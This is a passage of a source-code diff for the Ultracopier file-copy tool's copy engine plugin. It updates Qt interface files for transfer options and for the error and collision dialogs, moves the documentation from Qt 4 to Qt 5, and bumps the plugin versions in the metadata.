+ <widget class="QCheckBox" name="doRightTransfer"/>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_2">
+ <property name="text">
+ <string>Keep the file date</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="2">
+ <widget class="QCheckBox" name="autoStart"/>
+ </item>
+ <item row="1" column="2">
+ <widget class="QCheckBox" name="keepDate"/>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label_5">
+ <property name="text">
+ <string>Autostart the transfer</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="2">
+ <widget class="QCheckBox" name="followTheStrictOrder">
+ <property name="toolTip">
+ <string>Less performance if checked</string>
+ </property>
+ </widget>
+ </item>
+ <item row="6" column="1">
+ <spacer name="verticalSpacer_6">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>278</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="label_19">
+ <property name="toolTip">
+ <string>Less performance if checked</string>
+ </property>
+ <property name="text">
+ <string>Follow the strict order</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="0">
+ <widget class="QLabel" name="label_rsync">
+ <property name="text">
+ <string notr="true">Rsync</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="2">
+ <widget class="QCheckBox" name="rsync"/>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="page_error_collision">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>502</width>
+ <height>218</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Error and collision</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout_4">
+ <item row="2" column="0">
+ <widget class="QLabel" name="label_6">
+ <property name="text">
+ <string>When folder error</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="2">
+ <widget class="QCheckBox" name="checkBoxDestinationFolderExists"/>
+ </item>
+ <item row="0" column="0">
+ <widget class="QLabel" name="label_12">
+ <property name="text">
+ <string>When file error</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="2">
+ <widget class="QComboBox" name="comboBoxFileError">
+ <item>
+ <property name="text">
+ <string notr="true">Ask</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Skip</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Put at the end</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_13">
+ <property name="text">
+ <string>When file collision</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="2">
+ <widget class="QComboBox" name="comboBoxFileCollision">
+ <item>
+ <property name="text">
+ <string notr="true">Ask</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Skip</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Overwrite</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Overwrite if different</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Overwrite if newer</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Overwrite if older</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Rename</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="2" column="2">
+ <widget class="QComboBox" name="comboBoxFolderError">
+ <item>
+ <property name="text">
+ <string notr="true">Ask</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Skip</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_7">
+ <property name="text">
+ <string>When folder collision</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="2">
+ <widget class="QComboBox" name="comboBoxFolderCollision">
+ <item>
+ <property name="text">
+ <string notr="true">Ask</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Merge</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Skip</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Rename</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="label_8">
+ <property name="text">
+ <string>Check if destination folder exists</string>
+ </property>
+ </widget>
+ </item>
+ <item row="7" column="1">
+ <widget class="QPushButton" name="renamingRules">
+ <property name="text">
+ <string>Renaming rules</string>
+ </property>
+ </widget>
+ </item>
+ <item row="8" column="1">
+ <spacer name="verticalSpacer_5">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>193</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="5" column="0">
+ <widget class="QLabel" name="label_20">
+ <property name="text">
+ <string>Delete partially transferred files</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="2">
+ <widget class="QCheckBox" name="deletePartiallyTransferredFiles"/>
+ </item>
+ <item row="6" column="2">
+ <widget class="QCheckBox" name="renameTheOriginalDestination"/>
+ </item>
+ <item row="6" column="0">
+ <widget class="QLabel" name="label_22">
+ <property name="text">
+ <string>Rename the original destination</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ <zorder>label_12</zorder>
+ <zorder>label_13</zorder>
+ <zorder>label_6</zorder>
+ <zorder>label_7</zorder>
+ <zorder>label_8</zorder>
+ <zorder>comboBoxFileError</zorder>
+ <zorder>comboBoxFileCollision</zorder>
+ <zorder>comboBoxFolderError</zorder>
+ <zorder>comboBoxFolderCollision</zorder>
+ <zorder>checkBoxDestinationFolderExists</zorder>
+ <zorder>renamingRules</zorder>
+ <zorder>label_20</zorder>
+ <zorder>deletePartiallyTransferredFiles</zorder>
+ <zorder>renameTheOriginalDestination</zorder>
+ <zorder>label_22</zorder>
+ </widget>
+ <widget class="QWidget" name="page_control">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>172</width>
+ <height>119</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Control</string>
+ </attribute>
+ <layout class="QVBoxLayout" name="verticalLayout_2">
+ <item>
+ <widget class="QGroupBox" name="groupBox">
+ <property name="title">
+ <string>Checksum</string>
+ </property>
+ <layout class="QGridLayout" name="gridLayout_2">
+ <item row="1" column="1">
+ <widget class="QCheckBox" name="checksumOnlyOnError"/>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_9">
+ <property name="text">
+ <string>Only after error</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label_10">
+ <property name="text">
+ <string>Ignore if impossible</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QCheckBox" name="checksumIgnoreIfImpossible"/>
+ </item>
+ <item row="0" column="1">
+ <widget class="QCheckBox" name="doChecksum">
+ <property name="checked">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="0">
+ <widget class="QLabel" name="label_11">
+ <property name="text">
+ <string>Verify checksums</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item>
+ <spacer name="verticalSpacer_4">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>242</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="page_performance">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>791</width>
+ <height>364</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Performance</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout">
+ <item row="5" column="0">
+ <widget class="QLabel" name="label_16">
+ <property name="text">
+ <string>Parallel buffer</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="1">
+ <widget class="QSpinBox" name="sequentialBuffer">
+ <property name="suffix">
+ <string>KB</string>
+ </property>
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>999999999</number>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1">
+ <widget class="QSpinBox" name="blockSize">
+ <property name="suffix">
+ <string>KB</string>
+ </property>
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>65536</number>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="1">
+ <widget class="QSpinBox" name="parallelBuffer">
+ <property name="suffix">
+ <string>KB</string>
+ </property>
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>999999999</number>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="1">
+ <widget class="QCheckBox" name="osBuffer"/>
+ </item>
+ <item row="0" column="0">
+ <widget class="QLabel" name="label_4">
+ <property name="text">
+ <string>Block size</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="label_15">
+ <property name="text">
+ <string>Sequential buffer</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_3">
+ <property name="text">
+ <string>Enable OS buffer</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QSpinBox" name="osBufferLimit">
+ <property name="suffix">
+ <string>KB</string>
+ </property>
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>2048</number>
+ </property>
+ <property name="value">
+ <number>512</number>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="0">
+ <widget class="QCheckBox" name="osBufferLimited">
+ <property name="text">
+ <string>OS buffer only if smaller than</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_14">
+ <property name="text">
+ <string>Transfer algorithm</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QComboBox" name="transferAlgorithm">
+ <item>
+ <property name="text">
+ <string notr="true">Automatic</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Sequential</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Parallel</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="9" column="1">
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>197</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="6" column="0">
+ <widget class="QLabel" name="label_17">
+ <property name="text">
+ <string>Parallelize if smaller than</string>
+ </property>
+ </widget>
+ </item>
+ <item row="6" column="1">
+ <widget class="QSpinBox" name="parallelizeIfSmallerThan">
+ <property name="suffix">
+ <string>KB</string>
+ </property>
+ <property name="maximum">
+ <number>1024</number>
+ </property>
+ </widget>
+ </item>
+ <item row="7" column="1">
+ <widget class="QSpinBox" name="inodeThreads">
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>32</number>
+ </property>
+ <property name="value">
+ <number>16</number>
+ </property>
+ </widget>
+ </item>
+ <item row="7" column="0">
+ <widget class="QLabel" name="label_21">
+ <property name="text">
+ <string>Inode threads</string>
+ </property>
+ </widget>
+ </item>
+ <item row="8" column="1">
+ <widget class="QCheckBox" name="copyListOrder">
+ <property name="toolTip">
+ <string>More cpu, but better organisation on the disk</string>
+ </property>
+ <property name="text">
+ <string/>
+ </property>
+ </widget>
+ </item>
+ <item row="8" column="0">
+ <widget class="QLabel" name="label_25">
+ <property name="toolTip">
+ <string>More cpu, but better organisation on the disk</string>
+ </property>
+ <property name="text">
+ <string>Order the list</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="page_misc">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>449</width>
+ <height>89</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Misc</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout_3">
+ <item row="0" column="0">
+ <widget class="QLabel" name="label_23">
+ <property name="text">
+ <string>Check the disk space</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="2">
+ <widget class="QCheckBox" name="checkDiskSpace"/>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_24">
+ <property name="text">
+ <string>Use this folder when destination is not set</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="2">
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <item>
+ <widget class="QLineEdit" name="defaultDestinationFolder"/>
+ </item>
+ <item>
+ <widget class="QPushButton" name="defaultDestinationFolderBrowse">
+ <property name="text">
+ <string>Browse</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item row="2" column="0">
+ <spacer name="horizontalSpacer">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>353</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="2" column="1">
+ <widget class="QPushButton" name="filters">
+ <property name="text">
+ <string>Filters</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="2">
+ <spacer name="horizontalSpacer_2">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>352</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="3" column="1">
+ <spacer name="verticalSpacer_2">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>159</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <resources/>
+ <connections>
+ <connection>
+ <sender>doChecksum</sender>
+ <signal>clicked(bool)</signal>
+ <receiver>label_9</receiver>
+ <slot>setEnabled(bool)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>583</x>
+ <y>136</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>109</x>
+ <y>161</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>doChecksum</sender>
+ <signal>clicked(bool)</signal>
+ <receiver>checksumOnlyOnError</receiver>
+ <slot>setEnabled(bool)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>594</x>
+ <y>136</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>586</x>
+ <y>161</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>doChecksum</sender>
+ <signal>clicked(bool)</signal>
+ <receiver>label_10</receiver>
+ <slot>setEnabled(bool)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>641</x>
+ <y>136</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>132</x>
+ <y>186</y>
+ </hint>
+ </hints>
+ </connection>
+ <connection>
+ <sender>doChecksum</sender>
+ <signal>clicked(bool)</signal>
+ <receiver>checksumIgnoreIfImpossible</receiver>
+ <slot>setEnabled(bool)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>665</x>
+ <y>136</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>609</x>
+ <y>186</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+</ui>
diff --git a/plugins-alternative/CopyEngine/Rsync/resources.qrc b/plugins/CopyEngine/Ultracopier/copyEngineResources.qrc
index c6ca4ef..0228c74 100644
--- a/plugins-alternative/CopyEngine/Rsync/resources.qrc
+++ b/plugins/CopyEngine/Ultracopier/copyEngineResources.qrc
@@ -1,5 +1,5 @@
<RCC>
- <qresource prefix="/">
+ <qresource prefix="/CopyEngine/Ultracopier">
<file>resources/add.png</file>
<file>resources/edit.png</file>
<file>resources/remove.png</file>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/debugDialog.ui b/plugins/CopyEngine/Ultracopier/debugDialog.ui
index 0df03be..80fde7e 100644
--- a/plugins/CopyEngine/Ultracopier-0.3/debugDialog.ui
+++ b/plugins/CopyEngine/Ultracopier/debugDialog.ui
@@ -4,8 +4,6 @@
<widget class="QWidget" name="debugDialog">
<property name="geometry">
<rect>
- <x>0</x>
- <y>0</y>
<width>665</width>
<height>392</height>
</rect>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/documentation.dox b/plugins/CopyEngine/Ultracopier/documentation.dox
index c91674b..727969f 100755..100644
--- a/plugins/CopyEngine/Ultracopier-0.3/documentation.dox
+++ b/plugins/CopyEngine/Ultracopier/documentation.dox
@@ -6,18 +6,17 @@
*/
/*!
- \mainpage Copy engine 0.3
+ \mainpage Copy engine
\section mainpage_overview Overview
- The default copy engine for Ultracopier 0.3. Support file/folder, copy/move, ...\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project.
+ The default copy engine for Ultracopier. Support file/folder, copy/move, ...\n
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4, but Gcc is requiered for some part.\n
- This plugin requires Qt 4.5.x or newer. Tested on Qt 4.7. Due to optimization Qt 4.8 usage will be better.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ This plugin might be usable in all environments where you find Qt 5, but Gcc is requiered for some part. You need qtsystem modules for QtSystemInfo\n
+ This plugin requires Qt 5.0 or newer. Tested on Qt 5.0.\n
\section mainpage_downloads Downloads
@@ -38,4 +37,3 @@
The code source is under GPL3. The image is extacted from Oxygen icon pack of KDE4.
*/
-
diff --git a/plugins-alternative/CopyEngine/Rsync/fileErrorDialog.ui b/plugins/CopyEngine/Ultracopier/fileErrorDialog.ui
index c5027e7..b603924 100644
--- a/plugins-alternative/CopyEngine/Rsync/fileErrorDialog.ui
+++ b/plugins/CopyEngine/Ultracopier/fileErrorDialog.ui
@@ -6,12 +6,12 @@
<rect>
<x>0</x>
<y>0</y>
- <width>478</width>
- <height>154</height>
+ <width>723</width>
+ <height>185</height>
</rect>
</property>
<property name="windowTitle">
- <string>Error on file</string>
+ <string>Error with file</string>
</property>
<layout class="QVBoxLayout" name="verticalLayout_2">
<item>
@@ -47,6 +47,9 @@
</item>
<item>
<layout class="QFormLayout" name="formLayout_2">
+ <property name="fieldGrowthPolicy">
+ <enum>QFormLayout::ExpandingFieldsGrow</enum>
+ </property>
<item row="0" column="0">
<widget class="QLabel" name="label_size">
<property name="enabled">
@@ -98,6 +101,40 @@
</property>
</widget>
</item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="label_file_destination">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>Destination</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="1">
+ <widget class="QLabel" name="label_content_file_destination">
+ <property name="text">
+ <string notr="true">../toto.txt</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_folder">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>Folder</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QLabel" name="label_content_folder">
+ <property name="text">
+ <string notr="true">/folder/</string>
+ </property>
+ </widget>
+ </item>
</layout>
</item>
<item>
@@ -133,7 +170,7 @@
<item>
<widget class="QCheckBox" name="checkBoxAlways">
<property name="text">
- <string>&amp;Always do this action</string>
+ <string>&amp;Always perform this action</string>
</property>
</widget>
</item>
@@ -151,6 +188,13 @@
</spacer>
</item>
<item>
+ <widget class="QPushButton" name="Rights">
+ <property name="text">
+ <string>Try in with elevated privileges</string>
+ </property>
+ </widget>
+ </item>
+ <item>
<widget class="QPushButton" name="PutToBottom">
<property name="text">
<string>Put to bottom</string>
diff --git a/plugins-alternative/CopyEngine/Rsync/fileExistsDialog.ui b/plugins/CopyEngine/Ultracopier/fileExistsDialog.ui
index a37945a..0c38a57 100644
--- a/plugins-alternative/CopyEngine/Rsync/fileExistsDialog.ui
+++ b/plugins/CopyEngine/Ultracopier/fileExistsDialog.ui
@@ -7,7 +7,7 @@
<x>0</x>
<y>0</y>
<width>469</width>
- <height>150</height>
+ <height>162</height>
</rect>
</property>
<property name="windowTitle">
@@ -124,6 +124,23 @@
</property>
</widget>
</item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_3">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>Folder</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QLabel" name="label_content_source_folder">
+ <property name="text">
+ <string notr="true">/source/</string>
+ </property>
+ </widget>
+ </item>
</layout>
</item>
<item>
@@ -195,6 +212,23 @@
</property>
</widget>
</item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_4">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>Folder</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QLabel" name="label_content_destination_folder">
+ <property name="text">
+ <string notr="true">/destination/</string>
+ </property>
+ </widget>
+ </item>
</layout>
</item>
<item>
@@ -251,7 +285,7 @@
<item>
<widget class="QCheckBox" name="checkBoxAlways">
<property name="text">
- <string>&amp;Always do this action</string>
+ <string>&amp;Always perform this action</string>
</property>
</widget>
</item>
@@ -309,7 +343,18 @@
</action>
<action name="actionOverwrite_if_not_same_modification_date">
<property name="text">
- <string>Overwrite if not same modification date</string>
+ <string>Overwrite if modification date differs</string>
+ </property>
+ <property name="toolTip">
+ <string>Overwrite if modification date differs</string>
+ </property>
+ </action>
+ <action name="actionOverwrite_if_older">
+ <property name="text">
+ <string>Overwrite if older</string>
+ </property>
+ <property name="toolTip">
+ <string>Overwrite if older</string>
</property>
</action>
</widget>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.ui b/plugins/CopyEngine/Ultracopier/fileIsSameDialog.ui
index 673ba26..c019a63 100644
--- a/plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.ui
+++ b/plugins/CopyEngine/Ultracopier/fileIsSameDialog.ui
@@ -6,22 +6,15 @@
<rect>
<x>0</x>
<y>0</y>
- <width>378</width>
- <height>148</height>
+ <width>411</width>
+ <height>142</height>
</rect>
</property>
<property name="windowTitle">
- <string>This files are the same file</string>
+ <string>The source and destination are same</string>
</property>
<layout class="QVBoxLayout" name="verticalLayout">
<item>
- <widget class="QLabel" name="label">
- <property name="text">
- <string>The source and destination is same</string>
- </property>
- </widget>
- </item>
- <item>
<layout class="QHBoxLayout" name="horizontalLayout">
<item>
<spacer name="horizontalSpacer_3">
@@ -53,15 +46,8 @@
<property name="text">
<string notr="true">0 KiB</string>
</property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_modified">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Modified</string>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
</property>
</widget>
</item>
@@ -70,6 +56,9 @@
<property name="text">
<string notr="true">Today</string>
</property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
</widget>
</item>
<item row="2" column="0">
@@ -87,6 +76,39 @@
<property name="text">
<string notr="true">source.txt</string>
</property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_2">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>Folder</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QLabel" name="label_content_folder">
+ <property name="text">
+ <string notr="true">/toto/</string>
+ </property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_modified">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>Modified</string>
+ </property>
</widget>
</item>
</layout>
@@ -145,7 +167,7 @@
<item>
<widget class="QCheckBox" name="checkBoxAlways">
<property name="text">
- <string>&amp;Always do this action</string>
+ <string>&amp;Always perform this action</string>
</property>
</widget>
</item>
diff --git a/plugins-alternative/CopyEngine/Rsync/folderExistsDialog.ui b/plugins/CopyEngine/Ultracopier/folderExistsDialog.ui
index c4c4d5e..440b5ca 100644
--- a/plugins-alternative/CopyEngine/Rsync/folderExistsDialog.ui
+++ b/plugins/CopyEngine/Ultracopier/folderExistsDialog.ui
@@ -6,12 +6,12 @@
<rect>
<x>0</x>
<y>0</y>
- <width>443</width>
- <height>146</height>
+ <width>476</width>
+ <height>140</height>
</rect>
</property>
<property name="windowTitle">
- <string>This folders are the same folder</string>
+ <string>The source and destination is identical</string>
</property>
<layout class="QVBoxLayout" name="verticalLayout">
<item>
@@ -57,13 +57,6 @@
</layout>
</item>
<item>
- <widget class="QLabel" name="label_message">
- <property name="text">
- <string>The source and destination is same</string>
- </property>
- </widget>
- </item>
- <item>
<layout class="QHBoxLayout" name="horizontalLayout_4">
<item>
<spacer name="horizontalSpacer">
@@ -114,6 +107,23 @@
</property>
</widget>
</item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label_source_folder">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>Folder</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QLabel" name="label_content_source_folder">
+ <property name="text">
+ <string notr="true">/source/</string>
+ </property>
+ </widget>
+ </item>
</layout>
</item>
<item>
@@ -165,6 +175,23 @@
</property>
</widget>
</item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label_destination_folder">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="text">
+ <string>Folder</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QLabel" name="label_content_destination_folder">
+ <property name="text">
+ <string notr="true">/destination/</string>
+ </property>
+ </widget>
+ </item>
</layout>
</item>
<item>
@@ -208,7 +235,7 @@
<item>
<widget class="QCheckBox" name="checkBoxAlways">
<property name="text">
- <string>&amp;Always do this action</string>
+ <string>&amp;Always perform this action</string>
</property>
</widget>
</item>
diff --git a/plugins-alternative/CopyEngine/Rsync/informations.xml b/plugins/CopyEngine/Ultracopier/informations-rsync.xml
index 709df28..43befc2 100644
--- a/plugins-alternative/CopyEngine/Rsync/informations.xml
+++ b/plugins/CopyEngine/Ultracopier/informations-rsync.xml
@@ -12,16 +12,15 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- the architecture code of this plugin, found PlatformMacro.h into ultracopier source -->
- <architecture>windows-x86</architecture>
+ <architecture>linux-x86_64-pc</architecture>
<!-- Detailed description -->
<description xml:lang="en"><![CDATA[Rsync copy engine, variant of the official copy engine to provide simple way to do backups]]></description>
<description xml:lang="fr"><![CDATA[Moteur de copie rsync, variante du moteur de copie officiel pour fournir une maniére simple de faire des backups]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.0.0.0</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>Rsync</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins/CopyEngine/Ultracopier-0.3/informations.xml b/plugins/CopyEngine/Ultracopier/informations.xml
index 8593149..1a1d769 100644
--- a/plugins/CopyEngine/Ultracopier-0.3/informations.xml
+++ b/plugins/CopyEngine/Ultracopier/informations.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<package>
- <title xml:lang="en"><![CDATA[Copy engine of Ultracopier 0.3]]></title><!-- english is required -->
- <title xml:lang="fr"><![CDATA[Moteur de copie d'ultracopier 0.3]]></title>
+ <title xml:lang="en"><![CDATA[Copy engine of Ultracopier]]></title><!-- english is required -->
+ <title xml:lang="fr"><![CDATA[Moteur de copie d'ultracopier]]></title>
<!-- What kind of plugin this is -->
<category>CopyEngine</category>
<!-- Who wrote this plugin -->
@@ -14,14 +14,13 @@
<!-- the architecture code of this plugin, found PlatformMacro.h into ultracopier source -->
<architecture>windows-x86</architecture>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Copy engine of Ultracopier 0.3, do in Qt for all platform, and copy by stream]]></description>
- <description xml:lang="fr"><![CDATA[Moteur de copie d'ultracopier 0.3, fait en Qt pour toutes les plateformes, et copie par stream]]></description>
+ <description xml:lang="en"><![CDATA[Copy engine of Ultracopier, do in Qt for all platform, and copy by stream]]></description>
+ <description xml:lang="fr"><![CDATA[Moteur de copie d'ultracopier, fait en Qt pour toutes les plateformes, et copie par stream]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
- <name>Ultracopier-0.3</name>
+ <name>Ultracopier</name>
